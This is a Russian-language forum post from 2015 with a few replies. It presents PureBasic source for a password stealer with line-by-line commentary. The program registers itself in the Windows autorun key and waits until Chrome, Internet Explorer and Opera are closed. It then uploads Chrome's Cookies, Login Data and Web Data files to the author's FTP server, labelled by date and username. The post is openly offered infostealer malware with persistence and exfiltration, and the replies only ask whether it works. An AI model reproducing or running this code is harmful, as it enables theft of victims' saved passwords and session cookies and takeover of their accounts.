{% else-1 %}
Google Chrome хранит пароли в 2 файлах: Login Data и Web Data. И задача сей программы в том, что она отсылает эти два файла плюс Cookies, мне по фтп.
1) Объявляем, что мы будем работать с сетью
3-10) Записываем нашу программу в автозапуск. Каждый при включении Windows, она будет запускаться.
12-16) Проверяем запущен ли Google Chrome(ищем окно). Если да, то проверяем снова. Проблема в том, что если он запущен, то у нас не получится скачать важные нам файлы.
18) Сон на 500 миллисекунд. Если хром выключили, то ждет закрытие процесса его.
20) Открываем фтп соединение.
21-23) Открываем файлы по очередно и присваиваем им имена даты, имя компа и названия файла. PureBasic

                        
InitNetwork()

ProgName.s=ProgramFilename()
Name.s=GetFilePart(ProgName)

Handle = RegOpenKeyEx_(#HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionRun", 0, #KEY_ALL_ACCESS, @hKey)
If Handle = #ERROR_SUCCESS
RegSetValueEx_(hKey, @Name, 0, #REG_SZ, @ProgName, Len(ProgName))
RegCloseKey_(hKey)
EndIf

RunAgain:
If FindWindow_("Chrome_WidgetWin_1",0) Or FindWindow_("IEFrame",0) Or FindWindow_("OpWindow",0)
Goto RunAgain
Else
EndIf

Delay(500)

OpenFTP(0, "server", "login", "password")
SendFTPFile(0, "C:Users"+UserName()+"AppDataLocalGoogleChromeUser DataDefaultCookies", FormatDate("%dd:%mm:%yyyy:%hh:%ii:%ss", Date())+":Cookies-"+UserName())
SendFTPFile(0, "C:Users"+UserName()+"AppDataLocalGoogleChromeUser DataDefaultLogin Data", FormatDate("%dd:%mm:%yyyy:%hh:%ii:%ss", Date())+":Login Data-"+UserName())
SendFTPFile(0, "C:Users"+UserName()+"AppDataLocalGoogleChromeUser DataDefaultWeb Data", FormatDate("%dd:%mm:%yyyy:%hh:%ii:%ss", Date())+":Web Data-"+UserName())
0 32 0
0

Нет фото
NeTLooK * 1.87
• 17 янв 2015, 03:05


реально работает ?)

0

Нет фото
NeaDek(WAT) * [мошенник] 0.57
• 16 янв 2015, 15:44


хакирь*

0

Нет фото
Chainsaw * [мошенник] 0
• 16 янв 2015, 09:51


alchem!st, *

0

Нет фото
Vol"jin * 5.23
• 16 янв 2015, 09:50


Я знал qbasic

0

Нет фото
Chainsaw * [мошенник] 0
• 16 янв 2015, 09:49


alchem!st, должны знать